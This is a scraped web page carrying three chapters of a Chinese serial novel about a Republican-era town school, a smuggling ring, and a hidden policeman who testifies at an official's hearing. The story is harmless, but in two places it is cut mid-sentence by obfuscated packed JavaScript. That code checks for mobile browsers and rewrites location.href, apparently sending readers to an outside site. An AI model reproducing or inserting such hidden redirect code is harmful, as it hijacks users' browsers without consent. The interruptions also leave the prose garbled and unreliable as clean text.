这话像一道惊雷，炸在张静轩耳边。 “大哥知道吗？” “知道。”张老太爷的声音低了下去，“你大哥参军前，一直在暗中协助秦先生。但他们还没拿到确凿证据，秦先生就出事了。” 书房里静得能听见灯芯燃烧的噼啪声。张静轩看着那些烧焦的遗物，忽然明白了很多事——为什么大哥要追查，为什么大哥会留下那封信，为什么老哑头会有大哥的诗稿。 “秦先生死后，那条走私线就断了。”张老太爷说，“但人还在。三年过去，他们可能又活跃起来了。而学堂……”他顿了顿，“学堂教新知识，启民智，对这些人来说，是最碍眼的事。因为一旦百姓开智，他们的勾当就藏不住了。” 张静轩感到脊背发凉。他原以为，阻挠学堂只是守旧势力的顽固，却没想到，背后还牵扯着更大的阴谋——走私，军火，关外势力。 “那王督学……” “王秉章未必知情。”张老太爷摇头，“他可能只是被利用的棋子。有人借他的手压制学堂，既达到了目的，又撇清了关系。” “我们该怎么办？” 张老太爷看着儿子，目光深沉：“你大哥让你‘察暗鬼’。现在，你知道暗鬼是谁了——不是一个人，是一张网。这张网织在青石镇的阴影里，三年了。” 张老太爷站起身，他没有立刻去取木匣，而是望着儿子：“静轩，你可知我为何一直不让你深究？因你大哥当年，就是知道了不该知道的，才不得不走。” 他长叹一声，“但如今，你已站在了同一条河边。这笔记，是桨，也是锚。你接住了，就再难回头。”遂从书柜深处取出一个木匣。打开，里面是一叠泛黄的纸页，上面密密麻麻写满了字。 “这是你大哥留下的调查笔记，”张老太爷说，“我一直藏着，没敢拿出来。现在……该给你了。” 张静轩接过木匣，手有些抖。他翻开最上面一页，是大哥的字迹： “十月三日，访码头周大栓。言近日有黑船夜泊，不载货，只载人。船上人说话带关外腔。” “十月五日，秦先生示我一符，云自关外来，乃萨满镇物。谓镇上有人用此符作标记，专阻新学。” “十月七日，于关帝庙后见三人密谈。其一为镇公所赵干事，余二人不识。赵干事收银元若干。” “十月九日，秦先生嘱我：若有不测，三年内勿动。三年后，若新学再起，暗鬼必现。届时……” 笔记到此中断。后面几页被烧掉了边角，字迹模糊。 张静轩抬起头，看着父亲：“大哥知道会有危险。” “他知道。”张老太爷的声音沙哑，“但他还是去查了。他说，有些事，总得有人做。” 窗外传来打更声，二更天了。灯光在书页上跳跃，大哥的字迹忽明忽暗，像他从未远去的魂。 张静轩合上笔记，深吸一口气：“爹，我要继续查。” “很危险。” “我知道。”张静轩握紧了木匣，“但大哥查了，秦先生为此死了。如果我们就此退缩，他们的牺牲就白费了。” 张老太爷久久地看着儿子。灯光下，少年的脸庞还带着稚气，但眼神已经不一样了——那里有坚定，有决绝，有张家男儿一脉相承的硬气。 “好。”他终于说，“但记住，你不是一个人。福伯会帮你，卢明远那边，我也会去说。还有……”他顿了顿，“那个老哑头，你要小心接触。他身份不明，但似乎知道很多。”张老太爷沉了沉嗓子，又道“省里来的沈特派员，是个真查案的人。我已将部分疑虑告知，他答应暗中关注。真相大白之日，或许不远了。” 张静轩点头。他想起老哑头那双清亮的眼睛，想起他递来的小册子，想起他在泥土上写的“种子已种，小心风雨”。 这个神秘的老人，到底是谁？是敌是友？ 离开书房时，张静轩怀里揣着木匣，手里握着那片暗红陶片。走在回廊上，夜风很凉，但他心里却有一团火在烧。 回到房间，他点亮油灯，将大哥的笔记一页页摊开。那些泛黄的纸页上，记录着三年前青石镇的暗流。他仔细看着每一个名字，每一处细节。 周大栓——水生的父亲。他三年前就见过黑船。 镇公所赵干事——这个人还在吗？ 萨满符——和陶片上的符号一样。 还有“三年后，若新学再起，暗鬼必现”。 现在，新学起了。暗鬼，也开始现身了。 张静轩拿起笔，在新的纸页上开始记录： “九月十五，学堂开学。梁现刻痕，符为萨满镇物。” “九月十六，后墙涂字‘关门大吉’。夜见黑影。” “九月十七，王督学到访，施压。码头现黑船，载关外人。” “九月十八，访秦先生故居，得遗物。知三年前旧案。” 写到这里，他停笔。窗外月光如水，洒在书案上。那些字迹在月光下，像一道道刻痕，刻在这个多事之秋。 他想起苏宛音说的“怕也得做”，想起程秋实讲的“山河还在”，想起水生憨厚的笑容，想起小莲怯怯的眼神。 还有大哥信里那句：“护学堂，启民智，察暗鬼，守乡土。” 这四件事，现在都落在他肩上了。 他吹熄灯，在黑暗里躺下。怀里那片陶片硌在胸口，像一枚冰冷的护身符。 窗外，更夫的梆子声传来，三更天了。 远处，青云河的水声潺潺，永不停歇。而河上的黑船，暗中的鬼影，都将在这流水声中，继续它们的勾当。 但张静轩知道，从今夜起，他不再只是被动地看着。 他要看清，要记住，要行动。 黑暗里，他握紧了拳。掌心那片陶片的棱角，硌在肉里，像一枚烙印，印在这个注定不平凡的秋天。 而秋天过后，是冬天。 冬天很冷，但种子，会在冻土下等待春天。 7. 第七章 证人 晨雾浓得化不开，像一锅煮糊的米汤，黏稠地糊在青石镇上空。张静轩推开院门时，檐下的灯笼还亮着，昏黄的光在雾气里晕开一团模糊的暖意。 福伯已经候在门外。老管家今日换了身深蓝棉褂，腰间那根短棍不见了，取而代之的是一根乌木手杖。见张静轩出来，他微微躬身：“小少爷，老爷已经先去镇公所了。陈老秀才、周大栓、李铁匠他们也都去了。” 张静轩点头，看向祠堂方向。雾气中，学堂的轮廓隐隐约约，像一座漂在雾海里的孤岛。“苏先生他们呢？” “程先生陪着苏先生，从学堂直接过去。”福伯顿了顿，“卢少爷请的记者，昨晚已经到了，住在镇东的客栈。老爷说，先不让露面，关键时刻再出来。” 两人穿过浓雾往镇公所走。街道寂静，脚步声在青石板路上发出沉闷的回响。偶尔有早起的店铺开门，木门轴“吱呀”一声，在雾气里传得很远。 镇公所门口已经聚了些人。张老太爷拄着拐杖站在最前头，身边是陈老秀才，两人正在低声说话。周大栓、李铁匠站在稍后些，还有几个张静轩认得的家长——卖豆腐的王婶，开杂货铺的刘掌柜，都是昨日在码头声援过的人。 见张静轩来了，张老太爷微微颔首，没说什么，但眼神里有嘱咐。 镇公所的门开了。赵全福走出来，看见门口这阵仗，愣了一下，随即皮笑肉不笑：“诸位来得真早。王督学还在用早饭，诸位稍候。” “我们是来旁听的。”张老太爷开口，声音不高，但字字清晰，“苏先生的资格复核，事关青石镇学堂的存续。我们作为学生家长，镇上的乡绅，有权在场。” 赵全福脸上的笑容僵了僵：“这个……王督学说了，复核是内部程序，不便公开……” “有什么不便的？”陈老秀才拄着拐杖上前一步，“苏先生是清白教书人，复核就该光明正大。若是关起门来，难免有人说闲话。” 这话说得委婉，但意思明白。赵全福噎住了，张了张嘴，没说出话来。这时，门里传来王秉章的声音：“让他们进来。” 镇公所的议事堂比祠堂宽敞，但光线昏暗。长条木桌摆在正中，王秉章坐在主位，两个随从站在身后。苏宛音和程秋实已经坐在左侧，见张静轩他们进来，微微点头。 王秉章扫了一眼进来的人，眼神冷了几分：“张公，陈老，诸位这是……” “旁听。”张老太爷在右侧首位坐下，“王督学不会不许吧？” 王秉章沉默片刻，扯了扯嘴角：“既然来了，就坐吧。不过我有言在先——复核是公事，诸位只能听，不能插话。” 众人落座。张静轩坐在父亲身后，目光扫过全场。王秉章身后那两个随从，腰板挺得笔直，手始终垂在身侧——那是随时可以拔枪的姿势。赵全福站在门边，眼神游移，时不时瞟向门外。 空气很沉，压得人喘不过气。 王秉章清了清嗓子，翻开面前的一叠文件：“苏宛音，女，二十三岁，省立师范学堂毕业。父苏文渊，光绪二十四年进士，曾参与戊戌变法，后革职回乡，宣统二年病故。”他抬眼看向苏宛音，“这些信息，是否属实？” 苏宛音脊背挺直：“属实。” “你父亲是维新党人，这一点，你在求职时可曾说明？” “求职时问的是我的学历、能力，不是家世。”苏宛音的声音平静，“况且，我父亲是否维新党人，与我的教学能力有何关系？” 王秉章冷笑：“关系大了。父母之志，子女承之。你父亲当年鼓吹变法，扰乱朝纲，你如今在学堂里教新学，难免不让人联想。” 这话说得诛心。张静轩看见，苏宛音的手在桌下握紧了，但脸上依然平静：“王督学，如今是民国了。先父当年所为，是为救国。若这也算罪过，那今日倡导新学、启智救国的，是否都有罪？” “放肆！”王秉章一拍桌子，“苏宛音，注意你的言辞！” 程秋实站起身：“王督学，苏先生说的是事实。如今提倡新学，是政府明令。苏先生教学认真，学生爱戴，这些才该是复核的重点。” 王秉章盯着他看了半晌，忽然笑了：“好，那我们就说教学。”他从文件里抽出一张纸，“这是学生的课堂笔记——上面清楚记录，你在讲‘人人平等’时，举例说‘官府老爷和平民百姓也该平等’。有没有这回事？” 苏宛音看了一眼那张纸，摇头：“我没说过这样的话。我说的是‘人在天赋上是平等的’，这是卢梭的观点，是教育学的基本原理。” “卢梭？”王秉章挑眉，“一个洋人的话，你也拿来教学生？这不是数典忘祖是什么？” “取其精华，去其糟粕。这是蔡元培先生说的。”苏宛音迎着他的目光，“王督学若觉得不妥，可以指出哪里不妥。但断章取义，捏造诬陷，不是为人师表该有的作为。” 议事堂里静了一瞬。王秉章的脸色铁青，他身后的随从往前踏了半步。 张老太爷忽然开口：“王督学，老朽有句话，不知当讲不当讲。” 王秉章看向他：“张公请说。” “学堂开课这些天，老朽虽然没去听课，但听孙子回家说起。”张老太爷的声音很缓，但每个字都落在实处，“他说，苏先生教算学，教他们记账，说将来不被骗。程先生教国文，教他们写信，说将来能沟通。这些，老朽觉得都是好的。” 他顿了顿，目光扫过在场的人：“青石镇不大，但孩子不少。过去没学堂，孩子们要么下地，要么做工，一辈子睁眼瞎。如今有了学堂，孩子们能识字，能算数，将来不论做什么，都多个本事。这是功德，不是罪过。” 陈老秀才接话：“张公说得是。老朽虽然守旧，但也知道读书明理是正途。苏先生、程先生教学严谨，孩子们受益，这是大家有目共睹的。” 周大栓站了起来，这个黝黑的汉子有些局促，但声音很坚定：“王督学，我是个粗人，不会说话。但我知道，我家水生上学这些天，回家知道孝顺爹娘，知道疼妹妹。这学堂教的是做人的道理，不是歪理。” 李铁匠也站起来：“铁蛋以前淘得没边，现在知道帮家里干活，知道让着妹妹。王督学，这样的先生，我们信得过。” 一个接一个，家长们纷纷起身。卖豆腐的王婶说小女儿会算账了，开杂货铺的刘掌柜说儿子会写货单了。声音不高，但汇聚在一起，像一股暖流，冲散了议事堂里的寒气。 王秉章的脸色越来越难看。他忽然提高声音：“安静！这是在复核，不是开表彰会！” 众人安静下来，但眼神里的坚定，像一堵墙。 王秉章深吸一口气，从文件里又抽出一张纸：“好，就算教学没问题。但苏宛音，有人举报你私藏禁书，在课堂上传播危险思想。”他将纸拍在桌上，“这是举报信，上面有你藏书的目录——《新青年》《呐喊》《彷徨》……这些书，你作何解释？” 苏宛音的脸色白了白。那些书，她确实有，是从省城带来的，一直小心收着。 “那些书……是我的私人藏书。”她艰难地说，“我没有在课堂上讲。” “私藏也是罪！”王秉章站起身，“这些书，宣扬什么‘打倒孔家店’，什么‘全盘西化’，都是祸国殃民的东西！你一个教书先生，藏这些书，是何居心？” 议事堂里的气氛骤然紧张。那两个随从的手，已经按在了腰间。 就在这时，门外传来一个清朗的声音：“王督学此言差矣。” 所有人转头看去。一个穿灰色长衫、戴圆框眼镜的年轻人走进来，手里拿着笔记本和钢笔。他身后跟着卢明远。 “你是？”王秉章眯起眼。 “《新报》记者，林觉民。”年轻人微微躬身，“受报社委派，来青石镇采访新式学堂的办学情况。刚才在门外，听了片刻。有些话，不吐不快。” 王秉章的脸色变了：“记者？谁让你来的？这是内部复核，不接受采访！” “既然是光明正大的复核，为何怕采访？”林觉民走到桌前，“王督学刚才说《新青年》《呐喊》是禁书，可有政府明文？” “这……” “据我所知，教育部并无此类禁书目录。”林觉民翻开笔记本，“倒是蔡元培先生执掌北大时，提倡‘思想自由，兼容并包’。□□先生的《新青年》，胡适先生的《尝试集》，都是如今学界推崇的。” 王秉章咬牙：“那是学界！这里是青石镇，是乡下！” “乡下就该愚昧？”林觉民推了推眼镜，“王督学，都民国了，还抱着‘民可使由之，不可使知之’那套，是否太过陈腐？” 这话说得犀利。王秉章的脸涨成了猪肝色，他指着林觉民：“你……你一个记者，也敢干涉地方教育？” “我不是干涉，是记录。”林觉民转向苏宛音，“苏先生，您能说说，您为什么藏那些书吗？” 苏宛音看着他，眼里有感激，也有坚定：“那些书，是我在师范学堂时读的。它们让我知道，中华民国要强，必先启民智；民智要启，必先破陈规。我藏它们，是提醒自己——教书不是为了饭碗，是为了改变。” “改变什么？” “改变愚昧，改变麻木，改变一代人认命的心态。”苏宛音的声音在颤抖，但字字清晰，“我知道这很难，但我愿意做。就像我父亲当年，明知不可为而为之。” 议事堂里静得能听见呼吸声。窗外的雾气似乎淡了些，一缕天光透进来，照在苏宛音脸上，那张苍白的脸，此刻有种圣洁的光。 林觉民低头疾书。笔尖在纸上沙沙作响，像春蚕食叶。 王秉章忽然笑了，那笑声干涩：“好，好一个‘明知不可为而为之’。”他重新坐下，“苏宛音，你承认私藏禁书，承认传播危险思想。这教师资格复核，我看没必要继续了。” “王督学！”程秋实急道，“苏先生已经说了，那些书是私人藏书，没有在课堂上讲！” “私藏也是罪！”王秉章拍案而起，“来人，把苏宛音带走！这些禁书，全部收缴！” 两个随从上前就要抓人。周大栓、李铁匠他们霍地站起来，拦在前面。 “干什么？要造反吗？”王秉章厉声喝道。 眼看冲突一触即发，门外忽然传来一个苍老而沙哑的声音：“等等。”赵全福看见他，脸色大变：“你……你来干什么？出去！” 所有人转头。老哑头——秦怀安，佝偻着背，慢慢走进来。他今日换了身干净的粗布衣裳，头发梳得整齐，虽然还是那副乞丐模样，但眼神清亮，脊背挺直了些。 秦怀安没有看赵全福。他佝偻的背脊发出轻微的、像是老旧门轴转动的声响，一寸，一寸，绷直。那件肮脏破旧的夹袄仿佛被一股无形的力量撑开，一个蜷缩了太久的灵魂，正在挣脱外壳。 他抬起头。那双三年来看尽世态炎凉、刻意浑浊如泥潭的眼睛，此刻清澈见底，锐利如淬火的钢针，缓缓扫过王秉章，扫过赵全福，最终落在张静轩身上，停留了一瞬——那一眼里，有审视，有决绝，还有一丝如释重负的微光。 议事堂里静得可怕，只有众人压抑的呼吸声。 他用那双布满老茧和伤痕的手，摸索到夹袄内衬一处缝线，用力一扯——“刺啦”。粗布撕裂的声音在寂静中格外刺耳。一个用油布紧紧裹着的小包掉出来，落在积满灰尘的地面上。 他没有立刻去捡，而是转向王秉章，声音依旧沙哑，却不再破碎，每一个字都像是从胸腔深处碾磨出来，带着铁锈和血的味道： “王督学，你要证据？” 他弯腰，拾起油布包，动作缓慢而郑重，像举行某种仪式。油布层层揭开，最先露出的，是一枚铜质徽章，绿锈斑驳，但中央的警徽图案仍依稀可辨。他将徽章轻轻放在王秉章面前的桌面上，发出一声沉闷的轻响。 “秦怀安。青云县警务局，巡长。”他说。七个字，砸在地上，如同七枚生锈的钉子。 王秉章瞳孔骤缩，下意识地往后仰了仰。 秦怀安的手指移向油布包里的第二样东西——几页泛黄、脆弱的纸，上面密密麻麻写满了字迹和数字。“这是赵全福、陈继业团伙三年来的货单、往来账目、码头交接记录。时间，地点，人名，斤两，清清楚楚。”他的声音不高，却让赵全福瞬间面如死灰，“我兄秦怀远，就是查到这些东西，才被他们放火烧死在关帝庙后头的屋里。” “秦怀远”三个字像一道闪电，劈开了堂内凝固的空气。陈老秀才手中的拐杖“咚”地掉在地上。张老太爷闭上了眼睛，下颌的线条绷得死紧。周大栓和李铁匠张大了嘴。 秦怀安的目光像冰冷的刀子，剐过赵全福：“我兄殉职那晚，我就在镇外。他预感不测，提前把这包东西交给我，说‘若我出事，你立刻走，找个地方藏起来，等……等一个能见光的日子。’” 他顿了顿，喉结剧烈地滚动了一下，那道暗红的旧疤在脖颈上显得愈发刺目。 “我等了两年。装哑，扮废，像条野狗一样在镇上溜达，听你们怎么编派我兄是‘自己不小心’，看你们怎么继续祸害这块地方。”他的声音开始颤抖，不是伪装，是积压了太久、终于决堤的悲愤，“我等到了张家办学堂，等到了有人不怕你们划在梁上的刀痕，不怕你们泼在墙上的粪，不怕你们往先生身上泼的脏水！” 他猛地指向苏宛音，又指向张静轩，最后指向周大栓等一众街坊：“我等到了这些人！他们让我信，这青石镇，还有人心是亮的，血还是热的！这，就是我能等到的‘见光的日子’！” 话音落下，议事堂里落针可闻。只有秦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17140649|196314||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怀安粗重的喘息声，和他手中那些泛黄纸页被捏出的轻微脆响。 赵全福腿一软，几乎瘫倒。王秉章脸色灰败，嘴唇翕动，却一个字也说不出来。 就在这时，仿佛是为了给这震撼的一幕盖章定论，门外传来一个清朗而威严的声音： “说得好，我可以证明。”又一个声音从门外传来。所有人再次转头，看见一个穿中山装的中年人走进来，身后跟着两个穿制服的警察。 中年人向王秉章微微颔首：“王督学，我是省警务厅特派员，姓沈。奉命调查青石镇走私案，已有数年。”他看向秦怀安，“这位秦怀安先生，是我们的线人。三年前他兄长秦怀远殉职，他隐姓埋名，继续追查，终于拿到关键证据。” 王秉章腿一软，瘫坐在椅子上。 沈特派员走到桌前，拿起那些文件：“赵全福，陈继业，与关外势力勾结，走私军火烟土，证据确凿。现已查明，陈继业昨晚试图转移一批货物，在码头被我们截获。”他顿了顿，“另外，王督学，您与赵全福的往来信件，我们也拿到了。您收受贿赂，为他提供庇护，这事……也得有个交代。” 王秉章面如死灰，一句话也说不出来。 赵全福被警察铐上，面如土色。经过秦怀安身边时，他忽然嘶吼：“秦怀安！你害我！我做鬼也不会放过你！” 秦怀安看着他，眼神平静：“我兄长的命，青石镇被毒害的孩子，那些因烟土家破人亡的人——他们的债，你该还了。” 赵全福被带走了。沈特派员转向苏宛音：“苏先生，您受委屈了。您的教师资格复核，我们会重新审定。这些所谓的‘禁书’，在合法范围内，可以阅读。” 苏宛音深深鞠躬：“谢谢。” 沈特派员又看向张老太爷：“张公，感谢您支持办学。青石镇的新学堂，是好事，我们会继续支持。” 张老太爷还礼：“应该的。” 议事堂里的气氛，从紧绷到松弛，像一根过度拉伸的皮筋，忽然松开。家长们长舒一口气，脸上露出笑容。周大栓抹了把汗，李铁匠咧开嘴笑。 林觉民还在低头疾书，笔尖飞快。 张静轩看着这一切，心里那块大石，终于落了地。他看向秦怀安，老人佝偻着背站在那里，脸上有疲惫，也有释然。三年的隐忍，终于换来这一刻。 秦怀安也看向他，微微点头，然后转身，慢慢走出议事堂。阳光终于冲破雾气，照在他佝偻的背上，那背影在光里，像一尊风化的碑。 复核就这样结束了。王秉章被沈特派员带走“协助调查”，赵全福入狱，陈继业在逃，但全省通缉。走私线被斩断，青石镇的暗流，终于见了光。 离开镇公所时，已是晌午。阳光很好，驱散了最后的雾气。青石板路干干净净，倒映着蓝天白云。 苏宛音走在张静轩身边，轻声说：“静轩，谢谢你。” “谢我什么？” “谢谢你一直坚持。”苏宛音望着前方的路，“如果没有你们，我今天……可能真的被带走了。” “不会的。”张静轩说，“正义也许会迟到，但不会缺席。” 这话是他从大哥笔记里看来的。此刻说出来，忽然觉得，大哥一直在看着他，看着这一切。 回到学堂，孩子们已经等急了。水生冲上来：“静轩哥，怎么样了？苏先生没事吧？” “没事了。”张静轩摸摸他的头，“从今往后，没人能欺负咱们学堂了。” 孩子们欢呼起来。那欢呼声穿过祠堂的窗户，飘在秋日的阳光里，清亮亮的。 下午的课照常上。苏宛音教算学，程秋实教国文，一切都回到正轨。但张静轩知道，有些东西不一样了——孩子们的眼神更亮，坐得更直，读书的声音更响。 那是希望的声音。 放学后，张静轩没有立刻回家。他去了关帝庙的废墟。香炉还在那里，半埋在土里。他蹲下身，用手拂去炉身的尘土。 “三年了，”他轻声说，“秦先生，您可以安息了。” 风吹过废墟，野草沙沙作响，像在回应。 从废墟出来，他遇见卢明远和林觉民。两人正在河边散步，见了他，招手。 “静轩弟，”卢明远说，“林记者明天回省城，他的报道后天就见报。青石镇学堂的事，会传遍全省。” 林觉民推了推眼镜：“我会如实写——写学堂的艰难，写你们的坚持，写暗中的阴谋，也写最终的胜利。”他顿了顿，“这是个好故事。中华民国需要这样的故事。” 张静轩点头：“谢谢林记者。” “该谢的是你们。”林觉民看着远处的青云河，“在这公偏僻的小镇，还有人在坚持新学，启民智，抗黑暗——这让我相信，中华民国有希望。” 三人并肩站着，看夕阳西下。河水被染成金色，缓缓东流。那些黑船，那些暗影，都随着水流远去了。 但张静轩知道，黑暗不会永远消失。只要光明在，黑暗就总想反扑。而他们要做的，就是让光明更亮，照得更远。 回到家，书房还亮着灯。张老太爷正在看一封信，见儿子进来，放下信纸。 “静轩，你大哥终于有消息了。” 张静轩心头一震：“大哥？他……” “还活着。”张老太爷的声音在抖，“在北边，打鬼子。这信是一个月前写的，刚托人捎到。” 张静轩接过信。是大哥的字迹，比三年前更苍劲： “父亲大人膝下：儿在北地，一切安好。近日连战皆捷，鬼子胆寒。闻青石镇办学堂，心甚慰。弟静轩年已十五，当可担事。若遇困难，告之：挺直脊梁，守住本心。家国之事，皆在人为。兄静远顿首。” 信很短，但每个字都像火，烫在张静轩心上。 “爹，”他抬起头，眼眶发热，“大哥他……知道我们在做什么。” “他知道。”张老太爷也红了眼眶，“他一直都知道。” 父子俩在灯下对坐着，很久没说话。窗外的夜色浓了，星星一颗颗亮起来。 “静轩，”张老太爷终于开口，“学堂的事，暂时告一段落。但你的路，还长。” “我知道。” “接下来想做什么？” 张静轩想了想：“继续上学，帮苏先生他们办学。还有……等大哥回来。” 张老太爷点点头，看向窗外。夜色如墨，但星星很亮。每一颗星，都是一盏灯，照亮黑暗，也照亮前路。 从今夜起，张静轩肩上的担子更重了——要护学堂，要等大哥，要守这片乡土。 掌心那片陶片的棱角，硌在肉里，像一枚烙印，印在这个不平凡的秋天。 而秋天过后，是冬天。 冬天很冷，但灯亮着，星亮着，人走着，就能取暖。 8. 第八章 余波与重建 秋深了。几场霜过后，青石镇的早晨开始结薄冰。老槐树的叶子落了大半，剩下几片枯黄的在枝头颤着。这天清晨，冬雨毫无征兆地来了——不是渐渐沥沥，而是忽然间就密了，淅淅沥沥下了三天，把小镇裹进一片湿冷的灰蒙蒙里。 福伯站在门外，今日没带手杖，只背着手，望着学堂方向，脸上有难得的舒展：“小少爷，祠堂那边，一早就来了好些人。” “谁？” “周大栓、李铁匠他们，还有不少街坊。”福伯说，“说是要帮着打扫学堂，修补门窗——昨儿镇公所那一闹，祠堂的门板被踩坏了一块。” 张静轩心头一暖。这就是青石镇的百姓，实在，记恩。 两人往学堂走。街上比往日热闹，早点铺子前围满了人，热气腾腾的包子、豆浆的香气混在空气里。见张静轩走过，不少人点头招呼： “小少爷早！” “学堂没事了吧？” “苏先生好着哩？” 张静轩一一回应。他能感觉到，镇上的气氛不一样了——不再是那种压抑的、窥探的沉默，而是一种敞亮的、舒坦的活泛。 路过镇公所时，门口贴了张新告示。围了不少人在看。张静轩挤过去，看见告示上写的是省警务厅的通告：赵全福、陈继业走私军火烟土案已破，主犯赵全福落网，从犯陈继业在逃，全省通缉。末尾盖着鲜红的公章。 人群中议论纷纷： “真没想到，赵全福是这种人！” “三年前秦先生的死，果然是他干的！” “听说那些烟土，祸害了好些人家……” “这下好了，青石镇清净了。” 张静轩听着，心里五味杂陈。真相大白是好事，但那些被祸害的人，那些因此破碎的家，却再也回不来了。 到学堂时，祠堂前果然聚了不少人。周大栓正扛着一块新刨好的木板，李铁匠拿着锤子钉子，几个街坊在清扫院子。孩子们也来了，水生拿着扫帚扫落叶，铁蛋在擦窗户，小莲端着一盆水，摇摇晃晃地走。 苏宛音和程秋实在堂内整理桌椅，见张静轩来，都放下手里的活。 “静轩，”苏宛音走过来，眼里有光，“你看，大家都来了。” 张静轩点头：“学堂是大家的学堂。” “不止。”程秋实推了推眼镜，“昨天林记者走前说，他的报道今天就见报。省城那边，会有更多人知道青石镇，知道咱们的学堂。” 正说着，门外传来马蹄声。一辆马车停在祠堂前，车帘掀开，陈老秀才拄着拐杖走下来。老人今日穿了件崭新的深蓝长衫，手里提着一个布包。 “陈老先生。”张静轩迎上去。 陈老秀才摆摆手，径直走进祠堂，在堂中站定，环视一周。街坊们都停下活，看着他。 “诸位，”陈老秀才清了清嗓子，“老朽今日来，有两件事。” 他从布包里取出一卷纸，展开，是一幅字。字迹苍劲，写的是“启智明德”四个大字。 “这幅字，是老朽昨夜写的。”陈老秀才说，“送给学堂。启民智，明德行——这是读书人的本分，也是学堂该做的事。” 苏宛音上前，郑重接过：“谢谢陈老先生。” “还有第二件。”陈老秀才从怀里掏出一本泛黄的书，“这是老朽年轻时读的《格致初阶》，光绪年间的刻本，如今不多见了。”他翻开书页，里面密密麻麻写满了批注，“当年老朽读这书，觉得是奇技淫巧。如今想想，是自己迂腐了。格物致知，方能救国。这书……送给学堂的先生们，或许有用。” 程秋实接过书，翻了几页，眼睛一亮：“这是珍本啊！陈老先生，这太贵重了……” “书就是给人读的。”陈老秀才摆摆手，“放在我那儿，也是落灰。给孩子们开开眼，值了。” 他说完，又看了看正在忙碌的街坊和孩子们，点点头，转身走了。背影在晨光里，显得有些佝偻，但脚步很稳。 张静轩看着老人走远，心里忽然明白了什么——陈老秀才的转变，不是因为被说服，而是因为看见了。看见了学堂的好，看见了孩子们的改变，也看见了那些黑暗下的真相。 有些改变，不是靠说，是靠做。 一上午，祠堂内外热火朝天。门板修好了，窗户擦亮了，院子扫干净了，连那棵老槐树下的石凳，都被擦得发亮。周大栓还在祠堂后墙那片斑驳处，刷了一层新石灰，白生生的，遮住了所有旧痕。 晌午时分，卢明远来了，手里拿着一份报纸。 “出来了！”他声音激动，“《新报》今天的头版！” 众人围上去。报纸头版的大标题赫然醒目：《小镇新学启民智，暗流三年终见光——青石镇办学记》。下面是林觉民的署名文章，详细写了学堂从创办到遇阻，从压制到反击的全过程。还配了一张照片——是昨天在镇公所，家长们起身声援的场面，虽然模糊，但那股气势，隔着纸都能感觉到。 “写得真好。”苏宛音看完，眼眶红了，“他……他都写出来了。” “不止这些。”卢明远翻到第二版，“还有专访，采访了周叔、李叔他们，还有孩子们的话。”他念了一段：“‘水生说：上学后，我会算账了，爹卖米再也不会算错钱。’‘小莲说：我要给爹写信，告诉他我识字了。’……” 街坊们听着，都笑了。那是自豪的笑，欣慰的笑。 “省城那边已经传开了。”卢明远说，“我爹来信，说教育厅为此开了会，要表彰青石镇学堂，还要在全省推广这种‘民办公助’的办学模式。” “王秉章呢？”程秋实问。 “撤职查办。”卢明远压低声音，“沈特派员查实，他收受赵全福的贿赂，不止一次。另外，他背后那个省议会的要员，也受到牵连，据说要引咎辞职。” 恶有恶报。张静轩听着，心里却没什么快意。他想起王秉章那张倨傲的脸，想起他被带走时灰败的神情。权力能让人狂妄，也能让人毁灭。关键在人心。 下午的课，气氛格外好。孩子们坐得笔直，读书声格外响亮。苏宛音教算学，今天教的是简单的记账法。她将昨天从陈老秀才那儿得的《格致初阶》放在讲台上，说：“这本书，是陈老先生捐给学堂的。等你们再大些，就能读。里面讲的是格物致知的道理——万事万物，都有它的道理。读书，就是去明白这些道理。” 水生举手：“先生，格物致知，能救国吗？” 苏宛音笑了：“能。一个人明白道理，就不会被骗。一群人明白道理，就不会被欺。一个国家的人明白道理，国家就会强。” 孩子们似懂非懂，但眼神都很亮。 下课后，张静轩没有立刻离开。他站在祠堂院子里，看着那棵老槐树。秋风拂过，叶子沙沙作响，几片黄叶悠悠飘落。 “静轩。” 他回头，看见秦怀安站在月洞门下。老人今日换了身干净的粗布衣裳，头发梳得整齐，脸上虽然还是布满皱纹，但精神好了许多。 “秦先生。”张静轩走过去，“您怎么来了？” “来看看。”秦怀安望着学堂，“我兄要是知道，他查案的地方，如今成了学堂，教孩子们读书明理……他会高兴的。” 两人并肩站着。夕阳西斜，将他们的影子拉得很长。 “您接下来……有什么打算？”张静轩问。 秦怀安沉默片刻：“我该走了。青石镇的事已了，我兄的仇已报。我……想去北边看看。” “北边？” “你大哥在的地方。”秦怀安转过头，看着张静轩，“我年轻时也当过兵，打过仗。如今这把老骨头，扛不动枪了，但还能做点别的——送送信，抬抬伤员，总有用处。” 张静轩心头一热：“秦先生……” “别劝我。”秦怀安摆摆手，“我这辈子，前半生浑浑噩噩，后半生只为报仇。如今仇报了，该为自己活几天了。”他顿了顿，“我想看看，你大哥他们拼命守护的，是什么样的山河。” 这话说得平淡，但张静轩听出了其中的分量。他看着秦怀安——这个佝偻了三年的老人，脊背似乎挺直了些，眼神里有种他从未见过的光。 “什么时候走？” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17140650|196314||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “明天一早。”秦怀安从怀里掏出一个小布包，“这个，留给你。” 张静轩打开，里面是那把断裂的刀片——就是他在张家后院捡到的那片。刀片被磨得光亮，断口处用细麻绳缠着，做成了一把小刀。 “留着防身。”秦怀安说，“世道不太平，有备无患。” 